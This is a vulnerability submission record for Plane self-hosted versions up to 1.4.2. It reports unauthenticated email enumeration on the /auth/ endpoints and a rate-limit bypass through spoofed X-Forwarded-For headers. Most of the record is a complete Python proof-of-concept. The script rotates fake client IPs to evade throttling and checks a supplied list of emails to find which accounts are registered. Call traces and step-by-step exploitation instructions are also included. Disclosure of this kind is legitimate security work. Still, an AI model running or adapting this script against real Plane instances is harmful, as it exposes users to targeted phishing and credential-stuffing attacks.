| Title | GitHub Plane Community Edition / Plane Self-Hosted v0.14-dev through v1.4.2 Unauthenticated User Enumeration with Authentication Rate-Limit |
|---|
| Description | Plane contains multiple unauthenticated authentication endpoints that disclose whether a supplied email address corresponds to an existing account through distinguishable HTTP responses. The affected endpoints include /auth/email-check/, /auth/forgot-password/, /auth/sign-in/, and /auth/sign-up/. Pasted text
The impact is amplified by a rate-limit bypass.
Plane's authentication throttling relies on client IP information derived from the X-Forwarded-For header. Under the reported configuration, an unauthenticated client can supply different X-Forwarded-For values, causing requests to be assigned to different throttle buckets and thereby circumventing the intended authentication rate limit. Pasted text Pasted text
An unauthenticated remote attacker could therefore determine whether arbitrary email addresses are registered on an affected Plane instance and, where the deployment permits spoofable forwarded-client-IP values, perform enumeration without the intended per-client throttling. This information could facilitate targeted phishing, credential-stuffing, or identification of users belonging to a particular Plane deployment.
User Enumeration (email-check endpoint)
HTTP POST /auth/email-check/ {"email": "[email protected]"}
→ EmailCheckEndpoint.post() # check.py:34
→ AuthenticationThrottle.allow_request() # rate_limit.py:17
→ AnonRateThrottle.get_ident() # throttling.py (DRF)
→ reads X-Forwarded-For as throttle key
→ User.objects.filter(email=email).first() # check.py:80
→ returns {"existing": true} or {"existing": false} # check.py:85-103
Rate-Limit Bypass
HTTP POST /auth/email-check/ {"email": "..."}, X-Forwarded-For: 10.0.0.{N}
→ AuthenticationThrottle.allow_request()
→ SimpleRateThrottle.get_ident()
→ xff = "10.0.0.{N}" # attacker-controlled
→ num_proxies = None (default)
→ return ''.join(xff.split()) # each IP = new bucket
→ cache.get("throttle_authentication_10.0.0.{N}") # no prior requests
→ allow_request returns True # rate limit bypassed
Exploitation Steps
Send POST /auth/email-check/ with {"email": "[email protected]"}.
Observe {"existing": true} (registered) or {"existing": false} (not registered).
After 30 requests, the throttle returns 429 RATE_LIMIT_EXCEEDED.
Add X-Forwarded-For: 10.0.0.{random} header — the rate limit resets.
Repeat with a list of target emails to enumerate all registered users.
Proof of Concept
#!/usr/bin/env python3
"""
PoC: Unauthenticated User Enumeration + Rate-Limit Bypass in Plane
Demonstrates:
1. User enumeration via differential responses on /auth/email-check/
2. Rate-limit trigger (429 after ~30 requests)
3. Rate-limit bypass via X-Forwarded-For rotation
4. Bulk enumeration of a supplied email list
Tested against: Plane v1.2.3 (Docker self-hosted deployment)
Affected versions: v0.14-dev through v1.4.2 (latest)
Usage:
python3 poc_plane_user_enum.py --target http://localhost:8000 --emails emails.txt
python3 poc_plane_user_enum.py --target http://localhost:8000 --email [email protected]
"""
import argparse
import random
import sys
import requests
def check_email(base_url, email, xff_ip=None):
"""Check if an email is registered. Returns (existing: bool, status_code: int, raw: dict)."""
url = f"{base_url.rstrip('/')}/auth/email-check/"
headers = {"Content-Type": "application/json"}
if xff_ip:
headers["X-Forwarded-For"] = xff_ip
try:
r = requests.post(url, json={"email": email}, headers=headers, timeout=10, allow_redirects=False)
return r.json().get("existing"), r.status_code, r.json()
except Exception as e:
return None, -1, {"error": str(e)}
def random_ip():
return f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
def demo_throttle(base_url):
"""Show that the rate limit triggers after ~30 requests, then bypass it."""
print("[*] Phase 1: Demonstrating rate-limit trigger")
print(f" Sending requests to {base_url}/auth/email-check/ without X-Forwarded-For...")
test_email = f"probe-{random.randint(10000,99999)}@test.local"
throttled_at = None
for i in range(1, 40):
_, status_code, body = check_email(base_url, test_email)
if status_code == 429:
throttled_at = i
print(f" [!] Rate-limited at request #{i} (HTTP 429)")
break
elif i % 10 == 0:
print(f" Request #{i}: HTTP {status_code}")
if not throttled_at:
print(" [?] Rate limit not triggered after 39 requests (threshold may differ)")
return
print(f"\n[*] Phase 2: Bypassing rate limit with X-Forwarded-For rotation")
success_count = 0
for i in range(1, 11):
ip = random_ip()
_, status_code, _ = check_email(base_url, test_email, xff_ip=ip)
if status_code == 200:
success_count += 1
print(f" Request #{i} with X-Forwarded-For: {ip} -> HTTP {status_code}")
print(f"\n [{'!' if success_count == 10 else '?'}] {success_count}/10 requests succeeded after rate limit — bypass {'confirmed' if success_count == 10 else 'partial'}")
def enumerate_emails(base_url, emails):
"""Enumerate a list of emails using X-Forwarded-For rotation to avoid throttling."""
print(f"\n[*] Phase 3: Enumerating {len(emails)} email(s)")
registered = []
not_registered = []
for i, email in enumerate(emails, 1):
ip = random_ip()
existing, status_code, body = check_email(base_url, email.strip(), xff_ip=ip)
if status_code == 200 and existing is True:
registered.append(email.strip())
tag = "REGISTERED"
elif status_code == 200 and existing is False:
not_registered.append(email.strip())
tag = "not found"
else:
tag = f"error (HTTP {status_code})"
print(f" [{i}/{len(emails)}] {email.strip()} -> {tag}")
print(f"\n[*] Results: {len(registered)} registered, {len(not_registered)} not found")
if registered:
print(f" Registered emails:")
for e in registered:
print(f" - {e}")
return registered
def main():
parser = argparse.ArgumentParser(description="Plane User Enumeration + Rate-Limit Bypass PoC")
parser.add_argument("--target", required=True, help="Base URL of the Plane instance (e.g. http://localhost:8000)")
parser.add_argument("--email", help="Single email to check")
parser.add_argument("--emails", help="Path to a file with one email per line")
parser.add_argument("--skip-demo", action="store_true", help="Skip the rate-limit demo, go straight to enumeration")
args = parser.parse_args()
base_url = args.target.rstrip("/")
print(f"[*] Target: {base_url}")
print(f"[*] Vulnerability: User Enumeration + Rate-Limit Bypass via X-Forwarded-For")
print()
if not args.skip_demo:
demo_throttle(base_url)
email_list = []
if args.email:
email_list = [args.email]
elif args.emails:
try:
with open(args.emails) as f:
email_list = [line.strip() for line in f if line.strip() and "@" in line]
except FileNotFoundError:
print(f"[!] File not found: {args.emails}", file=sys.stderr)
sys.exit(1)
if email_list:
enumerate_emails(base_url, email_list)
elif args.skip_demo:
print("[!] No emails provided. Use --email or --emails.", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()
" |
|---|
| Source | ⚠️ https://github.com/makeplane/plane/issues/9913 |
|---|
| User | ChetanPujari (UID 101747) |
|---|
| Submission | 09/29/2026 14:25 (18 days ago) |
|---|
| Moderation | 10/17/2026 11:44 (18 days later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 421581 [makeplane up to 1.4.2 API Endpoint X-Forwarded-For reliance on untrusted inputs in a security decision] |
|---|
| Points | 0 |
|---|